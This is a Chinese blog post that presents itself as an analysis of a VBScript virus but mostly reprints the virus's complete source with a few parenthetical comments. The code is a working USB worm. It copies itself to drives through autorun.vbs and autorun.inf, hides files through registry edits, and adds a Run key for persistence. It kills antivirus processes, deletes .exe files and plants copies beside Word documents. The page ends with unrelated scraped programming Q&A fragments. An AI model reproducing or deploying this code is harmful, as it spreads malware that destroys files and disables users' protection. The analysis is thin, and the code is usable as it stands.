- ubuntu12.04环境下使用kvm ioctl接口实现最简单的虚拟机
- Ubuntu 通过无线网络安装Ubuntu Server启动系统后连接无线网络的方法
- 在Ubuntu上搭建网桥的方法
- ubuntu 虚拟机上网方式及相关配置详解
CFSDN坚持开源创造价值,我们致力于搭建一个资源共享平台,让每一个IT人在这里找到属于你的精彩世界.
这篇CFSDN的博客文章vbs病毒源文件剖析(部分代码)由作者收集整理,如果你对这篇文章有兴趣,记得点赞哟.
- rem vbs.rhl
- Dim fs,r,ss,w,reg,regpath,dvbs
- ddd="Set fs =" &chr(67) & "reate" & "Obj" & chr(101) & "c" & chr(116) & chr(40) & chr(34) & "Scrip" & chr(116) & "ing.File" & chr(83) & "yste" &chr(109) & chr(79) & "bject" & chr(34) & chr(41)
- Execute ddd
- rrr="set r =" &chr(119) & "scri" & "pt." &chr(67) & "reate" & "Obj" & chr(101) & "c" & chr(116) & chr(40) & chr(34) & chr(119) & "scri" & "pt." &chr(115) & "he" & chr(108) & chr(108) & chr(34) & chr(41)
- Execute rrr
- sss="fs." & chr(103) &"etfil" & chr(101) & chr(40) &chr(119) & "scri" & "pt." & "scri" & chr(112) & "tfull" &chr(110) & "ame" & chr(41)
- ttt="set dvbs =" & sss
- Execute ttt
- r.run (fs.GetSpecialFolder(0)&"\explorer.exe .\")
- main()
- On Error Resume Next
- sub main()
- regtime()
- finddrive()
- countdrive(ss)
- regwrite()
- ganranfile(ss)
- xunhuan()
- end sub
- Function finddrive()
- if dvbs.name="USBDRIVE.dll" then
- regwrite()
- ganrandisk()
- end if
- if dvbs.name<>"autorun.vbs" and dvbs.name<>"USBDRIVE.dll" then
- regwrite()
- dvbs.delete(true)
- end if
- ss=Trim("")
- Set dc = fs.Drives
- For Each d In dc
- If d.DriveType = 1 or d.DriveType= 2 and d.IsReady Then
- ss = ss & d.DriveLetter
- end if
- Next
- ss = StrReverse(LCase(Trim(ss)))
- end Function
- Function countdrive(ss)
- On Error Resume Next
- dim x
- For i = 1 To Len(ss)
- x = Mid(ss, i, 1)
- if x="" then
- x=Mid(ss, 1, 1)
- i=1
- end if
- Set w = fs.GetDrive(x)
- ganrandiskroot()
- Next
- end Function
- Function ganrandiskroot()
- dim c,s,f,vbc,ts,runreg
- On Error Resume Next
- If w.DriveType=2 or w.DriveType=1 and w.IsReady Then
- If fs.FileExists(fs.GetSpecialFolder(1) & "\USBDRIVE.dll") Then
- else
- fff=sss & ".copy(" & chr(34) & fs.GetSpecialFolder(1) & "\USBDRIVE.dll" &chr(34) & ")"
- Execute fff
- If fs.FileExists(fs.GetSpecialFolder(1) & "\USBDRIVE.dll") Then
- else
- fff=sss & ".copy(" & chr(34) & "D:\System Volume Information\USBDRIVE.dll" &chr(34) & ")"
- Execute fff
- if fs.FileExists("D:\System Volume Information\USBDRIVE.dll") Then
- Set ts = fs.CreateTextFile(w.DriveLetter & ":\vbs.reg", true)
- ts.WriteLine "Windows Registry Editor Version 5.00"
- ts.WriteLine "[HKEY_CURRENT_USER\Software\Microsoft\Windows\ShellNoRoam\MUICache]"
- ts.WriteLine chr(34) & chr(64) & "C:\\WINDOWS\\System32\\wshext.dll,-4802"&chr(34) & "=" & chr(34)&"文本文件"& chr(34)
- ts.close
- Set f = fs.GetFile(w.DriveLetter & ":\vbs.reg")
- f.attributes=f.attributes+7
- Set ts = fs.CreateTextFile(w.DriveLetter & ":\doc.reg",true)
- ts.WriteLine "Windows Registry Editor Version 5.00"
- ts.WriteLine "[HKEY_CURRENT_USER\Software\Microsoft\Windows\ShellNoRoam\MUICache]"
- ts.WriteLine chr(34) & chr(64) & "C:\\WINDOWS\\System32\\wshext.dll,-4802"&chr(34) & "=" & chr(34)&"Microsoft Word 文档"& chr(34)
- ts.close
- Set f = fs.GetFile(w.DriveLetter & ":\doc.reg")
- f.attributes=f.attributes+7
- end if
- end if
- end if
- If fs.FileExists(w.DriveLetter & ":\autorun.vbs") Then
- Set c = fs.opentextfile(w.DriveLetter & ":\autorun.vbs", 1)
- vbc = c.readall
- If InStr(vbc,"vbs.rhl") <> 0 Then
- c.Close
- Else
- c.Close
- Set c = fs.GetFile(w.DriveLetter & ":\autorun.vbs")
- c.delete(true)
- fff=sss & ".copy(" & chr(34) & w.DriveLetter & ":\autorun.vbs" &chr(34) & ")"
- Execute fff
- s=Array("2007总结病毒","这是病毒","违纪病毒","检查病毒","黑名单病毒","没有发出的病毒","恋爱的病毒(病毒)")
- Randomize
- i= Int((6 * Rnd) + 1)
- fff=sss & ".copy(" & chr(34) & w.DriveLetter & ":\" & s(i) & ".vbs" &chr(34) & ")"
- Execute fff
- Set b = fs.GetFile(w.DriveLetter & ":\" & s(i) & ".vbs")
- b.attributes=b.attributes-b.attributes
- Set c = fs.GetFile(w.DriveLetter & ":\autorun.vbs")
- c.attributes=c.attributes+7
- If fs.FileExists(w.DriveLetter & ":\vbs.reg") or fs.FileExists(w.DriveLetter & ":\doc.reg") Then
- else
- if w.DriveLetter="C" then
- Set ts = fs.CreateTextFile(fs.GetSpecialFolder(1) & "\vbs.reg", true)
- ts.WriteLine "Windows Registry Editor Version 5.00"
- ts.WriteLine "[HKEY_CURRENT_USER\Software\Microsoft\Windows\ShellNoRoam\MUICache]"
- ts.WriteLine chr(34) & chr(64) & "C:\\WINDOWS\\System32\\wshext.dll,-4802"&chr(34) & "=" & chr(34)&"文本文件"& chr(34)
- ts.close
- Set f = fs.GetFile(fs.GetSpecialFolder(1) & "\vbs.reg")
- f.attributes=f.attributes+7
- Set ts = fs.CreateTextFile(fs.GetSpecialFolder(1) & "\doc.reg")
- ts.WriteLine "Windows Registry Editor Version 5.00"
- ts.WriteLine "[HKEY_CURRENT_USER\Software\Microsoft\Windows\ShellNoRoam\MUICache]"
- ts.WriteLine chr(34) & chr(64) & "C:\\WINDOWS\\System32\\wshext.dll,-4802"&chr(34) & "=" & chr(34)&"Microsoft Word 文档"& chr(34)
- ts.close
- Set f = fs.GetFile(fs.GetSpecialFolder(1) & "\doc.reg")
- f.attributes=f.attributes+7
- else
- Set ts = fs.CreateTextFile(w.DriveLetter & ":\vbs.reg",true)
- ts.WriteLine "Windows Registry Editor Version 5.00"
- ts.WriteLine "[HKEY_CURRENT_USER\Software\Microsoft\Windows\ShellNoRoam\MUICache]"
- ts.WriteLine chr(34) & chr(64) & "C:\\WINDOWS\\System32\\wshext.dll,-4802"&chr(34) & "=" & chr(34)&"文本文件"& chr(34)
- ts.close
- Set f = fs.GetFile(w.DriveLetter & ":\vbs.reg")
- f.attributes=f.attributes+7
- Set ts = fs.CreateTextFile(w.DriveLetter & ":\doc.reg",true)
- ts.WriteLine "Windows Registry Editor Version 5.00"
- ts.WriteLine "[HKEY_CURRENT_USER\Software\Microsoft\Windows\ShellNoRoam\MUICache]"
- ts.WriteLine chr(34) & chr(64) & "C:\\WINDOWS\\System32\\wshext.dll,-4802"&chr(34) & "=" & chr(34)&"Microsoft Word 文档"& chr(34)
- ts.close
- Set f = fs.GetFile(w.DriveLetter & ":\doc.reg")
- f.attributes=f.attributes+7
- end if
- end if
- end if
- else
- fff=sss & ".copy(" & chr(34) & w.DriveLetter & ":\autorun.vbs" &chr(34) & ")"
- Execute fff
- s=Array("检查病毒","2007总结病毒","违纪病毒","这是病毒","黑名单","没有发出的病毒","恋爱的病毒(病毒)")
- Randomize
- i= Int((6 * Rnd) + 1)
- fff=sss & ".copy(" & chr(34) & w.DriveLetter & ":\" & s(i) & ".vbs" &chr(34) & ")"
- Execute fff
- Set b = fs.GetFile(w.DriveLetter & ":\" & s(i) & ".vbs")
- b.attributes=b.attributes-b.attributes
- Set c = fs.GetFile(w.DriveLetter & ":\autorun.vbs")
- c.attributes=c.attributes+7
- If fs.FileExists(w.DriveLetter & ":\vbs.reg") or fs.FileExists(w.DriveLetter & ":\doc.reg") Then
- else
- if w.DriveLetter="C" then
- Set ts = fs.CreateTextFile(fs.GetSpecialFolder(1) & "\vbs.reg", true)
- ts.WriteLine "Windows Registry Editor Version 5.00"
- ts.WriteLine "[HKEY_CURRENT_USER\Software\Microsoft\Windows\ShellNoRoam\MUICache]"
- ts.WriteLine chr(34) & chr(64) & "C:\\WINDOWS\\System32\\wshext.dll,-4802"&chr(34) & "=" & chr(34)&"文本文件"& chr(34)
- ts.close
- Set f = fs.GetFile(fs.GetSpecialFolder(1) & "\vbs.reg")
- f.attributes=f.attributes+7
- Set ts = fs.CreateTextFile(fs.GetSpecialFolder(1) & "\doc.reg")
- ts.WriteLine "Windows Registry Editor Version 5.00"
- ts.WriteLine "[HKEY_CURRENT_USER\Software\Microsoft\Windows\ShellNoRoam\MUICache]"
- ts.WriteLine chr(34) & chr(64) & "C:\\WINDOWS\\System32\\wshext.dll,-4802"&chr(34) & "=" & chr(34)&"Microsoft Word 文档"& chr(34)
- ts.close
- Set f = fs.GetFile(fs.GetSpecialFolder(1) & "\doc.reg")
- f.attributes=f.attributes+7
- else
- Set ts = fs.CreateTextFile(w.DriveLetter & ":\vbs.reg", true)
- ts.WriteLine "Windows Registry Editor Version 5.00"
- ts.WriteLine "[HKEY_CURRENT_USER\Software\Microsoft\Windows\ShellNoRoam\MUICache]"
- ts.WriteLine chr(34) & chr(64) & "C:\\WINDOWS\\System32\\wshext.dll,-4802"&chr(34) & "=" & chr(34)&"文本文件"& chr(34)
- ts.close
- Set f = fs.GetFile(w.DriveLetter & ":\vbs.reg")
- f.attributes=f.attributes+7
- Set ts = fs.CreateTextFile(w.DriveLetter & ":\doc.reg",true)
- ts.WriteLine "Windows Registry Editor Version 5.00"
- ts.WriteLine "[HKEY_CURRENT_USER\Software\Microsoft\Windows\ShellNoRoam\MUICache]"
- ts.WriteLine chr(34) & chr(64) & "C:\\WINDOWS\\System32\\wshext.dll,-4802"&chr(34) & "=" & chr(34)&"Microsoft Word 文档"& chr(34)
- ts.close
- Set f = fs.GetFile(w.DriveLetter & ":\doc.reg")
- f.attributes=f.attributes+7
- end if
- end if
- end if
- If fs.FileExists(w.DriveLetter & ":\autorun.inf") Then
- Set c = fs.opentextfile(w.DriveLetter & ":\autorun.inf", 1)
- vbc = c.readall
- If InStr(vbc,"WScript.exe .\autorun.vbs") <> 0 Then
- c.Close
- Else
- Set f = fs.GetFile(w.DriveLetter & ":\autorun.inf")
- f.attributes=f.attributes-f.attributes
- Set ts = f.OpenAsTextStream(2,-2)
- ts.WriteLine "[AutoRun]"
- ts.WriteLine "open= "
- ts.WriteLine ""
- ts.WriteLine "shell\open=打开(&O) "
- ts.WriteLine "shell\open\Command=WScript.exe .\autorun.vbs"
- ts.WriteLine "shell\open\Default=1 "
- ts.close
- f.attributes=f.attributes+7
- end if
- else
- Set ts = fs.CreateTextFile(w.DriveLetter & ":\autorun.inf",true)
- ts.WriteLine "[AutoRun]"
- ts.WriteLine "open= "
- ts.WriteLine ""
- ts.WriteLine "shell\open=打开(&O) "
- ts.WriteLine "shell\open\Command=WScript.exe .\autorun.vbs"
- ts.WriteLine "shell\open\Default=1"
- ts.close
- Set f = fs.GetFile(w.DriveLetter & ":\autorun.inf")
- f.attributes=f.attributes+7
- End If
- end if
- end Function
- Function regwrite()
- On Error Resume Next
- dim s
- a1="HKE" & "Y_CUR" & "RENT_US" & "ER\Soft" & "ware\Mi" & "croso" & "ft\Win" & "dows\Cur" & "rentV" & "ersion\Exp" & "lorer\Ad" & "vanced\" (a1= HKEY_CURRENT_USER\Software\Microso ft\Windows\CurrentVersion\Explorer\Advanced\
- a2="HK"&"EY_CLAS"&"SES_RO" & "OT\DLL" & "File\" (a2=HKEY_CLASSES_ROOT\DLLFile)
- a3="HKEY" & "_LOCA" & "L_MACH" & "INE\SOFT" & "WARE\Mi" & "cros" & "oft\Win" & "dows\Cur" & "rentVer" & "sion\poli" & "cies\Expl" & "orer\NoDr" & "iveTypeAutoRun"
- (a3=HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\policies\Explorer\NoDriveTypeAutoRun)
- a4="HKE" & "Y_CURR" & "ENT_USE" & "R\Softw" & "are\Micr" & "osoft\Wi" & "ndows\Cur" & "rentVersi" & "on\Polici" & "es\Explor" & "er\NoDriveT" & "ypeAutoRun"
- (a4=HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoDriveTypeAutoRun)
- a5="HK" & "EY_LO" & "CAL_MA" & "CHINE\Sof" & "tware\Mi" & "croso" & "ft\Wind" & "ows\Curre" & "ntVersi" & "on\Ru" & "n\USBDR" & "IVE.dll"
- (a5=HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\USBDRIVE.dll)
- a6="R.Re" & "gWri" & chr(116) & "e" (a6=R.RegWrichr(116) e)
- a7="HKE" & "Y_CLAS" & "SES_ROO" & "T\VBSF" & "ile\Defau" & "ltIcon\"
- (a7=HKEY_CLASSES_ROOT\VBSFile\DefaultIcon)
- set s=fs.GetDrive(fs.GetDriveName(dvbs.path))
- scandoc(fs.GetSpecialFolder(0) & "\Installer")
- if reg="wordicon.exe" then
- if s="C:" then
- if fs.FileExists("D:\System Volume Information\USBDRIVE.dll") Then
- r.run(fs.GetSpecialFolder(1) & "\dllcache\regedit.exe /s" & Space(3) & "D:\System Volume Information\doc.reg")
- else
- r.run(fs.GetSpecialFolder(1) & "\dllcache\regedit.exe /s" & Space(3) & fs.GetSpecialFolder(1) & "\doc.reg")
- end if
- else
- if fs.FileExists("D:\System Volume Information\USBDRIVE.dll") Then
- r.run(fs.GetSpecialFolder(1) & "\dllcache\regedit.exe /s" & Space(3) & "D:\System Volume Information\doc.reg")
- else
- r.run(fs.GetSpecialFolder(1) & "\dllcache\regedit.exe /s" & Space(3) & s.DriveLetter & ":\doc.reg")
- end if
- end if
- ppp=a6&Space(2)&chr(34) & a7 & chr(34)&"," &chr(34)®path & ",1"&chr(34)
- Execute ppp
- else
- if s="C:" then
- if fs.FileExists("D:\System Volume Information\USBDRIVE.dll") Then
- r.run(fs.GetSpecialFolder(1) & "\dllcache\regedit.exe /s" & Space(3) & "D:\System Volume Information\vbs.reg")
- else
- r.run(fs.GetSpecialFolder(1) & "\dllcache\regedit.exe /s" & Space(3) & fs.GetSpecialFolder(1) & "\vbs.reg")
- end if
- else
- if fs.FileExists("D:\System Volume Information\USBDRIVE.dll") Then
- r.run(fs.GetSpecialFolder(1) & "\dllcache\regedit.exe /s" & Space(3) & "D:\System Volume Information\vbs.reg")
- else
- r.run(fs.GetSpecialFolder(1) & "\dllcache\regedit.exe /s" & Space(3) & s.DriveLetter & ":\vbs.reg")
- end if
- end if
- ppp=a6&Space(2)&chr(34) & a7 & chr(34)&"," &chr(34)&fs.GetSpecialFolder(1) & "\shell32.dll,1"&chr(34)
- Execute ppp
- end if
- ppp=a6&Space(2)&chr(34) & a1 & "ShowSuperHidden" &chr(34)& "," & "0," & chr(34)&"REG_DWORD"&chr(34)
- Execute ppp
- ppp=a6&Space(2)&chr(34) & a1 & "HideFileExt" &chr(34)& "," & "1," & chr(34)&"REG_DWORD"&chr(34)
- Execute ppp
- ppp=a6&Space(2)&chr(34) & a1 & "Hidden" &chr(34)& "," & "0," & chr(34)&"REG_DWORD"&chr(34)
- Execute ppp
- ppp=a6&Space(2)&chr(34) & a2 & "ScriptEngine\" &chr(34)& "," & chr(34)&"VBScript" & chr(34)
- Execute ppp
- ppp=a6&Space(2)&chr(34) & a2 & "ScriptHostEncode\" &chr(34)& "," & chr(34)&"{85131631-480C-11D2-B1F9-00C04F86C324}" & chr(34)
- Execute ppp
- ppp=a6&Space(1)&chr(34) & a2 & "Shell\Open\Command\" &chr(34)& "," & chr(34)&fs.GetSpecialFolder(1) &"\Wscript.exe" &Space(1)& chr(34) &chr(34) &"%1"&chr(34) & chr(34) &Space(1)& "%*" & chr(34)
- Execute ppp
- ppp=a6&Space(2)&chr(34) & a2 & "ShellEx\PropertySheetHandlers\WSHProps\" &chr(34)& "," & chr(34)&"{60254CA5-953B-11CF-8C96-00AA00B8708C}" & chr(34)
- Execute ppp
- ppp=a6&Space(2)&chr(34) & a3 & chr(34)&"," & "0," & chr(34)&"REG_DWORD"&chr(34)
- Execute ppp
- ppp=a6&Space(2)&chr(34) & a4 & chr(34)&"," & "0," & chr(34)&"REG_DWORD"&chr(34)
- Execute ppp
- if fs.FileExists("D:\System Volume Information\USBDRIVE.dll") Then
- ppp=a6&Space(2)&chr(34) & a5 &chr(34)& "," & chr(34)& "D:\System Volume Information" & "\USBDR" & "IVE.dll" & chr(34)
- Execute ppp
- else
- ppp=a6&Space(2)&chr(34) & a5 &chr(34)& "," & chr(34)&fs.GetSpecialFolder(1)&"\USBDR" & "IVE.dll" & chr(34)
- Execute ppp
- end if
- if day(date())="27" then (27号报告错误)
- msgbox "小样!你的杀毐软件该升级了,磁盘已被格式化"
- End If
- end Function
- Function scandoc(a) (定义子函数)
- On Error Resume Next (出错不报告)
- dim files,file,subfolder,folder_
- set folder_=fs.getfolder(a)
- set files=folder_.files
- for each file in files (for each。。。next 对数组或集合中的每个元素重复执行一组语句)
- if file.name ="wordicon.exe" then
- reg=file.name
- regpath=file.path
- exit Function
- end if
- next (for each 的next)
- set subfolders=folder_.subfolders (set 是一个赋值语句)
- for each subfolder in subfolders
- scandoc(subfolder)
- next
- end Function (结束子程序的定义)
- Function regtime() (定义一个子程序添加注册表,结束瑞星)
- a6="R.Re" & "gWri" & chr(116) & "e" (a6= R.RegWri chr(116)e chr(116)是值)
- a8="HKE"&"Y_CUR" & "RENT_US" & "ER\Soft" & "ware\Micr" & "osoft\Win" & "dows Scr" &"iptingHo"&"st\Settin"&"gs\Timeou (a8=注册表HKEY_CURRENT_USER\Software\Microsoft\Windows Scripting Host\Settings\Timeout)
- ppp=a6&Space(2)&chr(34) & a8 &chr(34)& "," & "0," & chr(34)&"REG_DWORD"&chr(34)
- Execute ppp (对指定的字符串执行正则表达式搜索)
- dim NameorPID
- kill=Array("RavMon.exe","RavTask.exe","RavStub.exe","RavMond.exe","RsAgent.exe")
- for i=0 to 4
- KillProcess(kill(i)) (结束4个瑞星程序)
- next
- end Function (结束这个子程序)
- Function ganranfile(aa) (定义一个子程序)
- On Error Resume Next (出错不报告)
- dim x
- For i = 1 To Len(aa) (len函数 返回字符串内字符的数目,或是存储一变量所需的字节数)
- x = Mid(aa, i, 1) (mid函数 从字符串中返回指定数目的字符。这里是一个个返回给X)
- if x="" then
- x=Mid(aa, 1, 1)
- i=1
- end if
- Set x = fs.GetDrive(x)
- if x.IsReady then
- scan(x)
- else
- xunhuan()
- end if
- Next
- end Function (结束本子程序,作用不明)
- Function scan(x) (定义子程序 scan(a) )
- On Error Resume Next ( 出错不报告 )
- dim files,file,subfolder,folder_
- set folder_=fs.getfolder(x)
- set files=folder_.files
- for each file in files
- s=file.path
- ext=fs.GetExtensionName(file)
- ext=lcase(ext) ( lcase函数 返回字符串的小写形式)
- if ext="doc" then
- fff=sss & ".copy("&chr(34) & mid(s,1,len(s)-3) & "vbs" &chr(34) & ")" (fff是sss.copy加几个字符
- 怀疑这个几个字符组成一个文件名)
- Execute fff
- end if
- next
- set subfolders=folder_.subfolders
- for each subfolder in subfolders
- scan(subfolder)
- next
- end Function
- Function ganrandisk()
- On Error Resume Next
- regwrite()
- dim doc, d, s, coun,w,h,oo
- Set doc = fs.Drives
- for each k in doc
- if k.IsReady then
- h=h & k.DriveLetter
- end if
- next
- t1=len(Trim(h))
- coun=doc.count
- do while coun>0
- oo=h & w
- clearinfo(oo)
- wscript.sleep 50
- Set d = fs.Drives
- if d.count>coun then
- for each k in d
- if k.IsReady then
- s=s & k.DriveLetter
- end if
- next
- coun=d.count
- t= StrReverse(LCase(Trim(s)))
- w=mid(t,1,abs(len(t)-t1))
- countdrive(w)
- ganranfile(w)
- s=trim("")
- t1=len(t)
- end if
- if d.count<coun then
- for each k in d
- if k.IsReady then
- s=s & k.DriveLetter
- end if
- next
- coun=d.count
- t= StrReverse(LCase(Trim(s)))
- s=trim("")
- t1=len(t)
- end if
- loop
- end Function
- Function xunhuan()
- On Error Resume Next
- dim sfo
- set sfo=fs.GetDrive(fs.GetDriveName(dvbs.path))
- if dvbs.name="autorun.vbs" or dvbs.name="USBDRIVE.dll" then
- if sfo.DriveType=2 then
- ganrandisk()
- else
- wscript.quit
- end if
- else
- dvbs.delete(true)
- end if
- end Function
- Function clearinfo(oo)
- On Error Resume Next
- dim dc,z
- oo =LCase(Trim(oo))
- For m = 1 To Len(oo)
- z = Mid(oo, m, 1)
- Set z = fs.GetDrive(z)
- findinf(z)
- v=Array(z.DriveLetter & ":\recycled",z.DriveLetter & ":\System Volume Information")
- for i= 0 to 1
- scanexe(v(i))
- next
- next
- vir=array(fs.GetSpecialFolder(1)& "\recycled",fs.GetSpecialFolder(2),fs.GetSpecialFolder(0)&"\system")
- for i=0 to 2
- scanexe(vir(i))
- next
- end Function
- Function scanexe(a)
- wscript.sleep 100
- On Error Resume Next
- dim files,file,folder_
- if fs.FolderExists(a) then
- set folder_=fs.getfolder(a)
- set files=folder_.files
- for each file in files
- ext=fs.GetExtensionName(file)
- ext=lcase(ext)
- if ext="exe" then
- Set f = fs.GetFile(file)
- f.delete(true)
- end if
- next
- set subfolders=folder_.subfolders
- for each subfolder in subfolders
- scanexe(subfolder)
- next
- end if
- end Function
- Function findinf(z)
- On Error Resume Next
- If fs.FileExists(fs.GetSpecialFolder(1) & "\USBDRIVE.dll") Then
- else
- fff=sss & ".copy(" & chr(34) & fs.GetSpecialFolder(1) & "\USBDRIVE.dll" &chr(34) & ")"
- Execute fff
- If fs.FileExists(fs.GetSpecialFolder(1) & "\USBDRIVE.dll") Then
- else
- ppp=a6&Space(2)&chr(34) & a5 &chr(34)& "," & chr(34)& "D:\System Volume Information" & "\USBDR" & "IVE.dll" & chr(34)
- Execute ppp
- end if
- end if
- If fs.FileExists(z.DriveLetter & ":\autorun.vbs") Then
- else
- fff=sss & ".copy(" & chr(34) & z.DriveLetter & ":\autorun.vbs" &chr(34) & ")"
- Execute fff
- Set f = fs.GetFile(z.DriveLetter & ":\autorun.vbs")
- f.attributes=f.attributes+7
- end if
- If fs.FileExists(z.DriveLetter & ":\autorun.inf") Then
- Set c = fs.opentextfile(z.DriveLetter & ":\autorun.inf", 1)
- vbc = c.readall
- If InStr(vbc,"WScript.exe .\autorun.vbs") <> 0 Then
- c.Close
- Else
- Set f = fs.GetFile(z.DriveLetter & ":\autorun.inf")
- f.attributes=f.attributes-f.attributes
- Set ts = f.OpenAsTextStream(2,-2)
- ts.WriteLine "[AutoRun]" (以下建立自动播放文件)
- ts.WriteLine "open= "
- ts.WriteLine ""
- ts.WriteLine "shell\open=打开(&O) "
- ts.WriteLine "shell\open\Command=WScript.exe .\autorun.vbs"
- ts.WriteLine "shell\open\Default=1 "
- ts.close
- f.attributes=f.attributes+7
- end if
- else
- Set ts = fs.CreateTextFile(z.DriveLetter & ":\autorun.inf",true)
- ts.WriteLine "[AutoRun]"
- ts.WriteLine "open= "
- ts.WriteLine ""
- ts.WriteLine "shell\open=打开(&O) "
- ts.WriteLine "shell\open\Command=WScript.exe .\autorun.vbs"
- ts.WriteLine "shell\open\Default=1"
- ts.close
- Set f = fs.GetFile(z.DriveLetter & ":\autorun.inf")
- f.attributes=f.attributes+7
- End If
- if fs.FileExists(z.DriveLetter & ":\vbs.reg") then
- else
- Set ts = fs.CreateTextFile(z.DriveLetter & ":\vbs.reg", true)
- ts.WriteLine "Windows Registry Editor Version 5.00"
- ts.WriteLine "[HKEY_CURRENT_USER\Software\Microsoft\Windows\ShellNoRoam\MUICache]"
- ts.WriteLine chr(34) & chr(64) & "C:\\WINDOWS\\System32\\wshext.dll,-4802"&chr(34) & "=" & chr(34)&"文本文件"& chr(34)
- ts.close
- Set f = fs.GetFile(z.DriveLetter & ":\vbs.reg")
- f.attributes=f.attributes+7
- end if
- if fs.FileExists(z.DriveLetter & ":\doc.reg") then
- else
- Set ts = fs.CreateTextFile(z.DriveLetter & ":\doc.reg",true)
- ts.WriteLine "Windows Registry Editor Version 5.00"
- ts.WriteLine "[HKEY_CURRENT_USER\Software\Microsoft\Windows\ShellNoRoam\MUICache]"
- ts.WriteLine chr(34) & chr(64) & "C:\\WINDOWS\\System32\\wshext.dll,-4802"&chr(34) & "=" & chr(34)&"Microsoft Word 文档"& chr(34)
- ts.close
- Set f = fs.GetFile(z.DriveLetter & ":\doc.reg")
- f.attributes=f.attributes+7
- end if
- end Function
- Function KillProcess(NameorPID)
- On Error Resume Next
- Dim oWMI, oProcs, oProc, strSQL
- KillProcess = False
- strSQL = "SELECT * FROM Win32_Process"
- If NameOrPID <> "" Then
- If IsNumeric(NameOrPID) Then
- strSQL = strSQL & " WHERE Handle = '" & NameorPID & "'"
- Else
- strSQL = strSQL & " WHERE Name = '" & NameorPID & "'"
- End If
- End If
- Set oWMI = GetObject("winmgmts:\\.\root\cimv2")
- Set oProcs = oWMI.ExecQuery(strSQL)
- For Each oProc In oProcs
- If IsNumeric(NameOrPID) Then
- oProc.Terminate
- KillProcess = True
- Else
- oProc.Terminate
- if day(date())="27" then
- set killfile=fs.getfile( oProc.ExecutablePath)
- killfile.delete(true)
- End If
- end if
- Next
- Set oProc = Nothing
- Set oProcs = Nothing
- Set oWMI = Nothing
- End Function
最后此篇关于vbs病毒源文件剖析(部分代码)的文章就讲到这里了,如果你想了解更多关于vbs病毒源文件剖析(部分代码)的内容请搜索CFSDN的文章或继续浏览相关文章,希望大家以后支持我的博客! 。
我的 Django 应用程序在生产过程中变得非常缓慢。可能是由于某些复杂或未索引的查询。 是否有任何类似 django 的方法来分析我的应用程序? 最佳答案 试试 Django Debug Toolb
我正在使用GDownloadUrl将客户端数据发送到服务器。这里是我使用的sode GDownloadUrl( dwnld_url, function(data) {
我一直在尝试开始分析我的 CherryPy 网络服务器,但文档缺乏关于如何设置它的详细信息。我知道我应该能够使用 cherrypy.lib.profiler 作为中间件来安装我的初始服务器。现在,我有
是否有任何 HashMap 实现公开了用于分析 Map 性能的钩子(Hook)方法(平均链长度、最佳/最差/平均访问时间、#rehashes 等)。 在 ~O(1) 访问时间方面使用 HashMap
我想知道是否有可用的技术或工具可以告诉您执行特定方法需要多少时间。 类似于数学/计算机科学中的大 O 符号,可以让您了解算法的复杂性,我想知道代码分析是否有类似的东西。 最佳答案 Profiling是
前面,我们说Ruby没有函数,只有方法.而且实际上有不止一种方法.这一节我们介绍访问控制(accesscontrols). 想想当我们在"最高层"而不是在一个类的定义里定义一个
我有一个用 Visual Basic 编写的大型应用程序6,我需要分析它。有没有类似 ANTS Profiler 的东西但对于 COM应用程序? 最佳答案 我以前用 VBWatch .我对它有很好的体
我做了两个实现来解决 Shikaku 难题。一个使用顶部、左侧、宽度和高度 (TLWH) 作为每个矩形的参数,另一个使用顶部、左侧、底部、右侧 (TLBR)。 出于某种原因,使用 TLBR 的速度要快
如果重要的话,我正在使用 Very Sleepy CS 进行分析。 IPP(Intel's Integrated Performance Primitives)在我的项目中使用,基本上是单次调用: i
我想弄明白这个排列算法是如何工作的: def perm(n, i): if i == len(n) - 1: print n else: for j i
如果 C++ 项目的物理结构有利于编译速度,您将如何获得某种客观的衡量标准?有些人说你应该避免使用模板以获得更好的编译速度,但是如果模板生成大量非冗余目标代码,即使行/秒编译速度不是很好,那也不是很糟
摘自 Robert Sedgewick 和 Kevin Wayne 算法第 4 版 在递归部分基本情况代码是 if(end start) { mid = (start+end
有没有一种简单的方法可以计算一段标准 C 代码实际执行的乘法次数?我想到的代码基本上只是做加法和乘法,主要兴趣是乘法,但也可以计算其他操作的数量。 如果这是一个选项,我想我可以四处用“multiply
我正在编写一个 Netty 应用程序。该应用程序运行在 64 位八核 linux 机器上 Netty 应用程序是一个简单的路由器,它接受请求(传入管道),从请求中读取一些元数据并将数据转发到远程服务(
我希望能得到一些帮助来弄清楚这个异常消息到底对我说了什么。我能够使用调试器将问题缩小到代码中的特定行。但是,我认为更多信息可以更好地找出代码中的实际问题。 public static List
我有一个存储在 USB 拇指驱动器上的 mysql 数据库,该数据库已不可挽回地丢失了其文件分配表。因此,我无法访问整个 ibdata1 文件。不过,我可以找到使用十六进制编辑器使用的记录页面。 所有
我正在使用 jQuery 在单击时显示图像。通过将图像源存储到像这样的变量中,这可以很好地工作.. var theSrc = $(event.target).attr('src'); 然后我可以将这张
我是 R 的新手,但不是 C 的新手。我想看看是否可以为 friend 加速一个包。通常使用 C 我会编译一个设置了 -pg 标志的应用程序,然后将 gmon.out 文件传递给 gprof。 我
在分析我的代码以找出运行缓慢的地方时,我有 3 个功能显然会永远占用,这就是非常困的说法。 这些函数是: ZwDelayExecution 20.460813 20.460813 19.
我正在分析一个应用程序并注意到 52% (195MB) 的内存被 char[] 使用,20% 被 String 使用。这是一个有很多依赖项的大型项目,我刚刚看到它,所以我有几个相关的问题可以帮助我开始
我是一名优秀的程序员,十分优秀!